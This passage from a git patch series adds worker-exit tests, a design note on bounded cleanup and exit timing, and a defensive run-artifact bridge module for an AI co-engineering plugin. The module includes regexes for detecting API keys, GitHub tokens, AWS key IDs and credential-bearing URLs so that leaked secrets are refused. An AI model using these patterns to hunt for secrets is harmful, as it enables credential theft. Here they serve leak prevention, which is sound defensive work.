path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const handoffCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env: { WORKTREE_BOOTSTRAP_TASK: 'cli-stdout' }, + cwd: value.cwd, + runFileImpl: async () => ({ stdout: '{}' }), + handoffImpl: async (input) => { + handoffCalls.push(input); + const current = (await readTask(value.root, value.taskId)).task; + assert.equal(current.cleanup.status, 'pending'); + return { + attempted: true, + wtb_handoff: 'recorded', + task: { ...current, cleanup: { ...current.cleanup, wtb_handoff: 'recorded' } }, + }; + }, + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(handoffCalls.length, 1); + assert.equal(exits[0], 0); + assert.deepEqual(JSON.parse(writes[0]), { task_id: value.taskId, status: 'completed' }); +}); + +test('worker exit is requested immediately and again within the 1s bound', () => { + const exits = []; + requestWorkerExit(0, { + exitMs: 25, + exit: (code) => exits.push(code), + }); + assert.deepEqual(exits, [0]); +}); + +test('composeWorkerCleanup never enables replay and stays on pending', () => { + const cleanup = composeWorkerCleanup( + { acp_close: 'timeout', codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT] }, + { wtb_handoff: 'timeout' }, + ); + assert.equal(cleanup.status, 'pending'); + assert.equal(cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.equal(cleanup.wtb_handoff, 'timeout'); +}); diff --git a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs index 5e6380b..fc5107e 100644 --- a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs @@ -5,7 +5,7 @@ import path from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; -import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText, workerSeamIncident } from '../mcp/v3/acp-worker.mjs'; import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { submitReply } from '../mcp/v3/mailbox.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; @@ -79,6 +79,10 @@ test('runs a prompt through ACP and persists a compact receipt', async () => { assert.match(events, /session_ready/u); assert.match(events, /fake-chunk-1/u); assert.match(events, /"status":"completed"/u); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + assert.equal(workerSeamIncident(terminal), false); + assert.match(events, /"type":"cleanup"/u); }); for (const provider of ['grok', 'cursor-local']) { @@ -229,6 +233,8 @@ test('provider failure after dispatch is never marked safe to replay', async () assert.equal(task.status, 'failed'); assert.equal(task.prompt_dispatched, true); assert.equal(task.fallback_safe, false); + assert.equal(task.cleanup.status, 'pending'); + assert.equal(workerSeamIncident(task), false); }); test('DSH scopes ACPX artifacts to the task and removes them after persistence', async () => { From e18884c1f34ea35613a4e8a86d17b0e62a23d66e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:16 +0000 Subject: [PATCH 128/151] docs(worker): specify the terminal worker-exit contract Record the 3s close, 5s WTB handoff, 1s exit bounds, cleanup.pending evidence, and the two live-cgroup incident reconstructions at this seam. --- docs/terminal-worker-exit.md | 82 ++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 docs/terminal-worker-exit.md diff --git a/docs/terminal-worker-exit.md b/docs/terminal-worker-exit.md new file mode 100644 index 0000000..389dd0c --- /dev/null +++ b/docs/terminal-worker-exit.md @@ -0,0 +1,82 @@ +# Terminal worker exit + +The ACP worker is the Wave26 lifecycle worker-exit seam. Provider terminal +evidence is a candidate outcome, not model finality. This slice closes +retained ACP and child resources, attempts a bounded WTB handoff while the +sole-writer lock is still held, records that attempt as cleanup evidence, +emits terminal stdout only after that evidence exists, and then exits. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/acp-worker.mjs` +- `plugins/codex-co-engineer/test/v3-acp-worker.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs` +- this document + +This slice does not own process-boundary inspection, supervisor projection, +P33 run runtime, the MCP server, or the task store. + +## Ordering + +1. Let the provider turn, CLI fallback, or DSH flow settle. Do not start a + new prompt. Existing pre-dispatch CLI fallback remains allowed only before + authoritative prompt dispatch. +2. Close retained ACP stdio clients with `discardPersistentState=false`, + stop deadline watchers, and terminate retained child trees. Bound: 3s. + Session identity is preserved; `session/close` is not sent. +3. Attempt a bounded WTB `handoff` while `WORKTREE_BOOTSTRAP_TASK` is set. + Bound: 5s. Missing task name is `not_applicable`. +4. Persist the existing stored status/result together with + `cleanup.status=pending` and a content-free close/handoff code if the + attempt failed. Append terminal and cleanup events. +5. Write `{ task_id, status }` to stdout only after that cleanup record + exists. Incident receipts with `finished_at` and no cleanup are refused. +6. Exit immediately, with a 1s watchdog `process.exit` if the event loop + remains occupied by a cancelled close. + +## Bounds + +| Bound | Value | +| --- | --- | +| ACP / child resource close | 3000 ms | +| WTB handoff | 5000 ms | +| Post-terminal worker exit | 1000 ms | + +Timeout or close failure is retained as content-free cleanup evidence. It +never enables replay, fallback, or redispatch. Success, provider failure, +cancellation, timeout, transport loss, handoff, and DSH ACPX dispatch +uncertainty keep their existing stored statuses. + +## Cleanup record + +Additive `task.cleanup` on existing `codex-co-engineer.task.v1` bytes: + +| Field | Values | +| --- | --- | +| status | `pending` (this slice never claims `normal` or `recovered`) | +| acp_close | `closed`, `timeout`, `failed`, `not_applicable` | +| wtb_handoff | `recorded`, `timeout`, `failed`, `not_applicable` | +| code | `acp_resource_close_timeout`, `acp_resource_close_failed`, `worker_exit_timeout`, `lock_release_unproven`, `lock_cleanup_refused`, `cleanup_failed` | + +Codes and messages never echo provider output, credentials, paths, or +transcripts. Supervisor lifecycle settlement remains responsible for proving +the exact systemd/cgroup boundary empty and for projecting final public +state. + +## Incidents + +Two real-host occurrences stored a `completed` receipt with `finished_at` +while `acp-worker.mjs` and the WTB wrapper were still in a populated task +cgroup. At this seam that is `workerSeamIncident`: a stored terminal status +and `finished_at` without recorded cleanup. The worker now refuses terminal +stdout for that shape and persists cleanup only after a bounded close +attempt. + +## Non-claims + +This slice does not inspect `/proc`, systemd, or cgroupfs; stop units; clean +WTB locks; rewrite accepted Wave25B/P34/R-TRUTH bytes; add a sixth tool; +migrate task schema; change version 3.2.1; or mutate remotes, protected +refs, tags, or releases. Worker remote mutation remains denied. From e891d0f132e7b9fd2867861ed3be6c586ad7e387 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:21 +0000 Subject: [PATCH 129/151] feat(run): add identity-bound assignment artifact bridge Export createRunArtifactBridge over injected rawStore, sanitizer, evidenceBundle, and clock. Capture publishes owner-only raw evidence, projection returns bounded sanitized windows, and cleanup is proof-bound to the exact run. Do not import runtime, scheduler, lifecycle, server, or candidate paths. --- .../mcp/v3/run-artifact-bridge.mjs | 1118 +++++++++++++++++ 1 file changed, 1118 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs new file mode 100644 index 0000000..a7b801e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs @@ -0,0 +1,1118 @@ +// Run artifact bridge (P33; ADR 0001 identifiers `exact_identities`, +// `bounded_evidence`, `gate_a_valid_raw_and_sanitized_artifacts`, +// `gate_a_safe_per_run_cleanup`, `manual_proof_bound_cleanup`). +// +// Additive v3 facade over injected raw storage, sanitizer, evidence, and +// clock. It is the identity-and-audience authority for one run: +// - captureAssignmentArtifacts publishes owner-only raw evidence +// - projectAssignmentArtifacts returns bounded sanitized projections +// - cleanupRunArtifacts removes only proof-bound artifacts of that run +// +// Raw bytes never become model-facing. Sanitized projections are size-capped +// and credential-scanned. Cleanup cannot name another run, broaden a path, +// or delete worktrees, branches, locks, candidate refs, or task receipts. +// Restart rereads injected raw storage and re-projects; it does not invent +// captures or claim cleanup that the store cannot prove. +// +// This module does not import or own the P08 store, P09 sanitizer, P13 +// evidence bundle, run runtime, scheduler, lifecycle, server, or candidate +// surfaces. Callers inject those seams. It does not claim Gate A or release. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; +import { + ARTIFACT_CLASSES, + ARTIFACT_KINDS, + ARTIFACT_REF_SCHEMA_ID, + CONTENT_ENCODINGS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MEDIA_TYPES, + MIN_ARTIFACT_BYTE_LENGTH, + compareArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + hasOwn, + optOwn, + ownDataValue, + freezeData, +} from './selection-json.mjs'; + +export const RUN_ARTIFACT_BRIDGE_SCHEMA_ID = 'codex-co-engineer.run-artifact-bridge.v1'; +export const RUN_ARTIFACT_BRIDGE_VERSION = 1; +export const RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-capture.v1'; +export const RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-projection.v1'; +export const RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-cleanup.v1'; + +export const MAX_ASSIGNMENT_ARTIFACTS = 8; +export const MAX_RUN_ARTIFACTS = 64; +export const MAX_PROJECTION_BYTES = 8_192; +export const MAX_BRIDGE_DIAGNOSTIC_BYTES = 160; +export const MAX_EVIDENCE_KIND_BYTES = 32; + +export const RUN_ARTIFACT_BRIDGE_FACTORY_KEYS = capturedFreeze([ + 'rawStore', 'sanitizer', 'evidenceBundle', 'clock', +]); +export const RUN_ARTIFACT_BRIDGE_METHODS = capturedFreeze([ + 'captureAssignmentArtifacts', + 'projectAssignmentArtifacts', + 'cleanupRunArtifacts', +]); +export const RAW_STORE_METHODS = capturedFreeze(['publish', 'get', 'list', 'remove']); +export const SANITIZER_METHODS = capturedFreeze(['sanitize']); +export const EVIDENCE_BUNDLE_METHODS = capturedFreeze(['append', 'list']); +export const CLOCK_METHODS = capturedFreeze(['now']); + +export const CAPTURE_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', + 'artifact_kind', + 'content_encoding', + 'media_type', + 'relative_path', + 'run_id', + 'source', + 'source_truncated', +]); +export const CAPTURE_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', + 'artifact_kind', + 'media_type', + 'relative_path', + 'run_id', + 'source', +]); +export const PROJECT_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'max_bytes', 'offset', 'run_id', +]); +export const PROJECT_REQUIRED_KEYS = capturedFreeze(['assignment_id', 'run_id']); +export const CLEANUP_ALLOWED_KEYS = capturedFreeze(['proof', 'run_id']); +export const CLEANUP_REQUIRED_KEYS = capturedFreeze(['proof', 'run_id']); +export const CLEANUP_PROOF_ALLOWED_KEYS = capturedFreeze(['assignment_ids', 'run_id']); +export const CLEANUP_PROOF_REQUIRED_KEYS = capturedFreeze(['run_id']); + +export const CAPTURE_RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', + 'captured_at', + 'complete', + 'created', + 'raw_ref', + 'redaction_count', + 'relative_path', + 'run_id', + 'sanitized_ref', + 'sanitizer_version', + 'schema', + 'source_truncated', + 'version', +]); +export const PROJECTION_RECEIPT_KEYS = capturedFreeze([ + 'artifacts', + 'assignment_id', + 'projected_at', + 'run_id', + 'schema', + 'version', +]); +export const PROJECTION_ARTIFACT_KEYS = capturedFreeze([ + 'artifact_kind', + 'complete', + 'more', + 'next_offset', + 'offset', + 'reader_clipped', + 'redaction_count', + 'relative_path', + 'sanitized_byte_length', + 'sanitized_ref', + 'selected', + 'selected_byte_length', + 'selected_encoding', + 'source_truncated', +]); +export const CLEANUP_RECEIPT_KEYS = capturedFreeze([ + 'cleaned', + 'cleaned_at', + 'remaining', + 'removed', + 'run_id', + 'schema', + 'unresolved', + 'version', +]); +export const EVIDENCE_EVENT_KEYS = capturedFreeze([ + 'artifact_digest', + 'assignment_id', + 'code', + 'kind', + 'recorded_at', + 'relative_path', + 'run_id', +]); +export const EVIDENCE_KINDS = capturedFreeze(['capture', 'cleanup', 'projection']); +export const EVIDENCE_CODES = capturedFreeze([ + 'already_cleaned', + 'captured', + 'cleaned', + 'projected', + 'replayed', +]); + +export const RUN_ARTIFACT_BRIDGE_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'artifact_bridge_cleanup_unproven', + 'artifact_bridge_identity_mismatch', + 'artifact_bridge_not_found', + 'artifact_bridge_path_authority_denied', + 'artifact_bridge_projection_denied', + 'artifact_bridge_raw_denied', + 'artifact_bridge_restart_conflict', + 'artifact_bridge_run_escape_denied', + 'artifact_bridge_sanitizer_failed', + 'artifact_bridge_store_failed', + 'credential_leak_denied', + 'exotic_prototype_denied', + 'invalid_array', + 'invalid_format', + 'invalid_object', + 'invalid_type', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'symbol_key_denied', + 'unknown_artifact_kind', + 'unknown_content_encoding', + 'unknown_key', + 'unknown_media_type', +]); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'The request used an accessor property; getters are never invoked.', + aliased_reference_denied: 'The request aliased a value the bridge does not accept.', + artifact_bridge_cleanup_unproven: 'Cleanup requires an exact identity-bound proof for this run.', + artifact_bridge_identity_mismatch: 'The supplied identity does not bind this run and assignment.', + artifact_bridge_not_found: 'No captured artifact exists for the exact identity.', + artifact_bridge_path_authority_denied: + 'Artifact paths must stay under the exact run and assignment prefix.', + artifact_bridge_projection_denied: + 'Model-facing projection accepts only bounded sanitized artifacts.', + artifact_bridge_raw_denied: 'Raw evidence is owner-only and is not a model-facing projection.', + artifact_bridge_restart_conflict: + 'A different artifact is already captured at this exact identity.', + artifact_bridge_run_escape_denied: + 'Cleanup cannot name, list, or remove artifacts outside the proven run.', + artifact_bridge_sanitizer_failed: + 'The sanitizer did not return a bound sanitized projection; nothing is exposed.', + artifact_bridge_store_failed: 'The injected store failed closed; nothing was mutated.', + credential_leak_denied: + 'A model-facing projection contained a credential pattern; nothing is exposed.', + exotic_prototype_denied: 'The request used an exotic prototype; direct JSON is required.', + invalid_array: 'The request used an array the closed vocabulary does not accept.', + invalid_format: 'The request used a value outside the closed format vocabulary.', + invalid_object: 'The request was not a plain data object.', + invalid_type: 'The request used a type the closed vocabulary does not accept.', + missing_key: 'The request omitted a required closed key.', + own_undefined_denied: 'The request wrote undefined; omit the field instead.', + out_of_range: 'The request exceeded a closed bound.', + proxy_denied: 'The request was a Proxy; the bridge accepts direct data only.', + symbol_key_denied: 'The request carried a symbol key; direct JSON is required.', + unknown_artifact_kind: 'The artifact kind is outside the closed vocabulary.', + unknown_content_encoding: 'The content encoding is outside the closed vocabulary.', + unknown_key: 'The request carried a key outside the closed vocabulary.', + unknown_media_type: 'The media type is outside the closed vocabulary.', +}); + +const TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; +const SAFE_KEY_PATTERN = /^[a-z][a-z0-9_]*$/u; +const RUN_PATH_PREFIX = 'runs/'; +const HASH_ALGORITHM = 'sha256'; +const SELECTED_ENCODING = 'base64'; +const DEFAULT_CONTENT_ENCODING = 'identity'; +const BINARY_CAPTURE_KEYS = capturedFreeze(['source']); + +const CREDENTIAL_PATTERNS = capturedFreeze([ + /\b(?:sk|xai)-[A-Za-z0-9_-]{8,256}\b/u, + /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,256}\b/u, + /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/u, + /\bcrsr_[A-Za-z0-9_-]{12,256}\b/u, + /\b(?:Bearer|Basic)[ \t]+[A-Za-z0-9._~+/=-]{8,512}/iu, + /(?:[a-z][a-z0-9+.-]{0,32}:\/\/)[^\s/@:]{1,256}:[^\s/@]{1,256}@/iu, +]); + +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const CREATE_HASH = createHash; +const IS_PROXY = utilTypes.isProxy; +const IS_UINT8_ARRAY = utilTypes.isUint8Array; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; +const OWN_ERRORS = new WeakSet(); +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= MAX_BRIDGE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_BRIDGE_DIAGNOSTIC_BYTES); +} + +function failBridge(code, field, message) { + const text = CONTENT_FREE[code] ?? diagnostic(message); + const error = new RunContractV1Error(code, field, text); + OWN_ERRORS.add(error); + throw error; +} + +function rethrowOwn(error) { + if (error instanceof RunContractV1Error && OWN_ERRORS.has(error)) throw error; + if (error instanceof RunContractV1Error) { + const code = capturedIncludes(RUN_ARTIFACT_BRIDGE_ERROR_CODES, error.code) + ? error.code + : 'invalid_type'; + failBridge(code, typeof error.path === 'string' ? error.path : 'options', + CONTENT_FREE[code]); + } +} + +function fieldKeyLabel(path, key) { + if (typeof key === 'symbol') return path; + if (typeof key === 'string' && capturedTest(SAFE_KEY_PATTERN, key) + && capturedUtf8ByteLength(key) <= 64) { + return `${path}.${key}`; + } + return path; +} + +function assertClosedKeySet(value, allowed, path) { + assertPlainObject(value, 'invalid_type', path, path); + let keys; + try { + keys = capturedOwnKeys(value); + } catch { + failBridge('invalid_object', path, CONTENT_FREE.invalid_object); + } + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') { + failBridge('symbol_key_denied', path, CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(allowed, key)) { + failBridge('unknown_key', fieldKeyLabel(path, key), CONTENT_FREE.unknown_key); + } + } +} + +function assertRequiredKeys(value, required, path) { + for (let index = 0; index < required.length; index += 1) { + const key = required[index]; + if (!hasOwn(value, key)) { + failBridge('missing_key', `${path}.${key}`, CONTENT_FREE.missing_key); + } + } +} + +function dataViewWithout(value, excluded, path) { + const view = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (capturedIncludes(excluded, key)) continue; + view[key] = ownDataValue(value, key, `${path}.${key}`); + } + assertDirectJsonClosure(view, path); + return view; +} + +function requireFunctionMap(value, field, methods) { + assertNotProxy(value, field); + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + failBridge('invalid_type', field, CONTENT_FREE.invalid_type); + } + const bound = {}; + for (let index = 0; index < methods.length; index += 1) { + const name = methods[index]; + if (!capturedHasOwn(value, name)) { + failBridge('missing_key', `${field}.${name}`, CONTENT_FREE.missing_key); + } + const method = optOwn(value, name); + if (typeof method !== 'function') { + failBridge('invalid_type', `${field}.${name}`, CONTENT_FREE.invalid_type); + } + if (IS_PROXY(method)) { + failBridge('proxy_denied', `${field}.${name}`, CONTENT_FREE.proxy_denied); + } + bound[name] = method.bind(value); + } + return capturedFreeze(bound); +} + +function readClock(clock) { + let stamped; + try { + stamped = clock.now(); + } catch (error) { + rethrowOwn(error); + failBridge('invalid_format', 'clock', CONTENT_FREE.invalid_format); + } + if (typeof stamped !== 'string' || !capturedTest(TIMESTAMP_PATTERN, stamped)) { + failBridge('invalid_format', 'clock', CONTENT_FREE.invalid_format); + } + return stamped; +} + +function snapshotSource(source, field) { + assertNotProxy(source, field); + if (typeof source === 'string') { + return BUFFER_FROM(source, 'utf8'); + } + if (BUFFER_IS_BUFFER(source) || IS_UINT8_ARRAY(source)) { + return BUFFER_FROM(source); + } + failBridge('invalid_type', field, CONTENT_FREE.invalid_type); +} + +function digestOf(bytes) { + return CREATE_HASH(HASH_ALGORITHM).update(bytes).digest('hex'); +} + +function copyBytes(bytes, field) { + assertNotProxy(bytes, field); + if (BUFFER_IS_BUFFER(bytes) || IS_UINT8_ARRAY(bytes)) { + return BUFFER_FROM(bytes); + } + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); +} + +function pathPrefix(runId, assignmentId) { + return `${RUN_PATH_PREFIX}${runId}/${assignmentId}/`; +} + +function assertRunAssignmentPath(relativePath, runId, assignmentId, field) { + validateArtifactRelativePathV1(relativePath, field); + const prefix = pathPrefix(runId, assignmentId); + if (relativePath.length <= prefix.length || relativePath.slice(0, prefix.length) !== prefix) { + failBridge('artifact_bridge_path_authority_denied', field, + CONTENT_FREE.artifact_bridge_path_authority_denied); + } +} + +function assertAssignmentId(value, field) { + if (!isAssignmentId(value) || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failBridge('invalid_format', field, CONTENT_FREE.invalid_format); + } + return value; +} + +function parseCaptureInput(input) { + assertClosedKeySet(input, CAPTURE_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, CAPTURE_REQUIRED_KEYS, 'options'); + const data = dataViewWithout(input, BINARY_CAPTURE_KEYS, 'options'); + const runId = data.run_id; + assertRunId(runId, 'options.run_id'); + const assignmentId = assertAssignmentId(data.assignment_id, 'options.assignment_id'); + const artifactKind = data.artifact_kind; + if (!capturedIncludes(ARTIFACT_KINDS, artifactKind)) { + failBridge('unknown_artifact_kind', 'options.artifact_kind', + CONTENT_FREE.unknown_artifact_kind); + } + const relativePath = data.relative_path; + assertRunAssignmentPath(relativePath, runId, assignmentId, 'options.relative_path'); + const mediaType = data.media_type; + if (!capturedIncludes(MEDIA_TYPES, mediaType)) { + failBridge('unknown_media_type', 'options.media_type', CONTENT_FREE.unknown_media_type); + } + let contentEncoding = DEFAULT_CONTENT_ENCODING; + if (hasOwn(data, 'content_encoding')) { + contentEncoding = data.content_encoding; + if (!capturedIncludes(CONTENT_ENCODINGS, contentEncoding) + || contentEncoding !== DEFAULT_CONTENT_ENCODING) { + failBridge('unknown_content_encoding', 'options.content_encoding', + CONTENT_FREE.unknown_content_encoding); + } + } + let sourceTruncated = false; + if (hasOwn(data, 'source_truncated')) { + const flag = data.source_truncated; + if (flag !== true && flag !== false) { + failBridge('invalid_type', 'options.source_truncated', CONTENT_FREE.invalid_type); + } + sourceTruncated = flag === true; + } + const sourceDescriptor = capturedDescriptor(input, 'source'); + if (!sourceDescriptor || sourceDescriptor.get !== undefined + || sourceDescriptor.set !== undefined) { + failBridge('accessor_property_denied', 'options.source', CONTENT_FREE.accessor_property_denied); + } + const bytes = snapshotSource(sourceDescriptor.value, 'options.source'); + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH + || bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failBridge('out_of_range', 'options.source', CONTENT_FREE.out_of_range); + } + return { + runId, + assignmentId, + artifactKind, + relativePath, + mediaType, + contentEncoding, + sourceTruncated, + bytes, + }; +} + +function parseProjectInput(input) { + assertClosedKeySet(input, PROJECT_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, PROJECT_REQUIRED_KEYS, 'options'); + assertDirectJsonClosure(input, 'options'); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = assertAssignmentId(optOwn(input, 'assignment_id'), 'options.assignment_id'); + let offset = 0; + if (hasOwn(input, 'offset')) { + offset = optOwn(input, 'offset'); + if (typeof offset !== 'number' || !NUMBER_IS_SAFE_INTEGER(offset) + || offset < 0 || offset > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failBridge('out_of_range', 'options.offset', CONTENT_FREE.out_of_range); + } + } + let maxBytes = MAX_PROJECTION_BYTES; + if (hasOwn(input, 'max_bytes')) { + maxBytes = optOwn(input, 'max_bytes'); + if (typeof maxBytes !== 'number' || !NUMBER_IS_SAFE_INTEGER(maxBytes) + || maxBytes < 0 || maxBytes > MAX_PROJECTION_BYTES) { + failBridge('out_of_range', 'options.max_bytes', CONTENT_FREE.out_of_range); + } + } + return { runId, assignmentId, offset, maxBytes }; +} + +function parseAssignmentIds(value, field) { + if (!capturedIsArray(value)) { + failBridge('invalid_array', field, CONTENT_FREE.invalid_array); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', field, CONTENT_FREE.out_of_range); + } + const seen = new Set(); + const ids = []; + for (let index = 0; index < value.length; index += 1) { + const id = value[index]; + assertAssignmentId(id, `${field}[${index}]`); + if (seen.has(id)) { + failBridge('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + } + seen.add(id); + ids.push(id); + } + ids.sort(); + return capturedFreeze(ids); +} + +function parseCleanupInput(input) { + assertClosedKeySet(input, CLEANUP_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, CLEANUP_REQUIRED_KEYS, 'options'); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, 'options.run_id'); + const proof = optOwn(input, 'proof'); + assertClosedKeySet(proof, CLEANUP_PROOF_ALLOWED_KEYS, 'options.proof'); + assertRequiredKeys(proof, CLEANUP_PROOF_REQUIRED_KEYS, 'options.proof'); + assertDirectJsonClosure(proof, 'options.proof'); + const proofRunId = optOwn(proof, 'run_id'); + assertRunId(proofRunId, 'options.proof.run_id'); + if (proofRunId !== runId) { + failBridge('artifact_bridge_cleanup_unproven', 'options.proof.run_id', + CONTENT_FREE.artifact_bridge_cleanup_unproven); + } + let assignmentIds = null; + if (hasOwn(proof, 'assignment_ids')) { + assignmentIds = parseAssignmentIds(optOwn(proof, 'assignment_ids'), + 'options.proof.assignment_ids'); + } + return { runId, assignmentIds }; +} + +function rawRefFrom(fields, bytes) { + return parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: fields.runId, + assignment_id: fields.assignmentId, + artifact_kind: fields.artifactKind, + artifact_class: 'raw', + relative_path: fields.relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: fields.mediaType, + content_encoding: fields.contentEncoding, + }, 'artifact_ref'); +} + +function unwrapStoreRecord(record, field) { + if (record === null || record === undefined) return null; + assertNotProxy(record, field); + if (typeof record !== 'object' || capturedIsArray(record)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const refInput = hasOwn(record, 'artifact_ref') ? optOwn(record, 'artifact_ref') : record; + let artifactRef; + try { + artifactRef = parseArtifactRefV1(refInput, `${field}.artifact_ref`); + } catch (error) { + rethrowOwn(error); + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + let bytes = null; + if (hasOwn(record, 'bytes')) { + bytes = copyBytes(optOwn(record, 'bytes'), `${field}.bytes`); + } + return { artifact_ref: artifactRef, bytes }; +} + +async function callInjected(method, args, code, field) { + try { + return await method(args); + } catch (error) { + rethrowOwn(error); + failBridge(code, field, CONTENT_FREE[code]); + } +} + +function assertSameIdentity(ref, runId, assignmentId, field) { + if (ref.run_id !== runId || ref.assignment_id !== assignmentId) { + failBridge('artifact_bridge_identity_mismatch', field, + CONTENT_FREE.artifact_bridge_identity_mismatch); + } +} + +function assertRawClass(ref, field) { + if (ref.artifact_class !== 'raw') { + failBridge('artifact_bridge_raw_denied', field, CONTENT_FREE.artifact_bridge_raw_denied); + } +} + +function assertSanitizedClass(ref, field) { + if (ref.artifact_class !== 'sanitized') { + failBridge('artifact_bridge_projection_denied', field, + CONTENT_FREE.artifact_bridge_projection_denied); + } +} + +function assertNoCredentialLeak(bytes, field) { + let text; + try { + text = BUFFER_FROM(bytes).toString('utf8'); + } catch { + return; + } + for (let index = 0; index < CREDENTIAL_PATTERNS.length; index += 1) { + CREDENTIAL_PATTERNS[index].lastIndex = 0; + if (CREDENTIAL_PATTERNS[index].test(text)) { + failBridge('credential_leak_denied', field, CONTENT_FREE.credential_leak_denied); + } + } +} + +function parseSanitizedProjection(rawRef, sanitized, field) { + if (sanitized === null || typeof sanitized !== 'object' || capturedIsArray(sanitized)) { + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + assertNotProxy(sanitized, field); + if (!hasOwn(sanitized, 'sanitized_ref') || !hasOwn(sanitized, 'bytes')) { + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + let sanitizedRef; + try { + sanitizedRef = parseArtifactRefV1(optOwn(sanitized, 'sanitized_ref'), `${field}.sanitized_ref`); + } catch (error) { + rethrowOwn(error); + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + 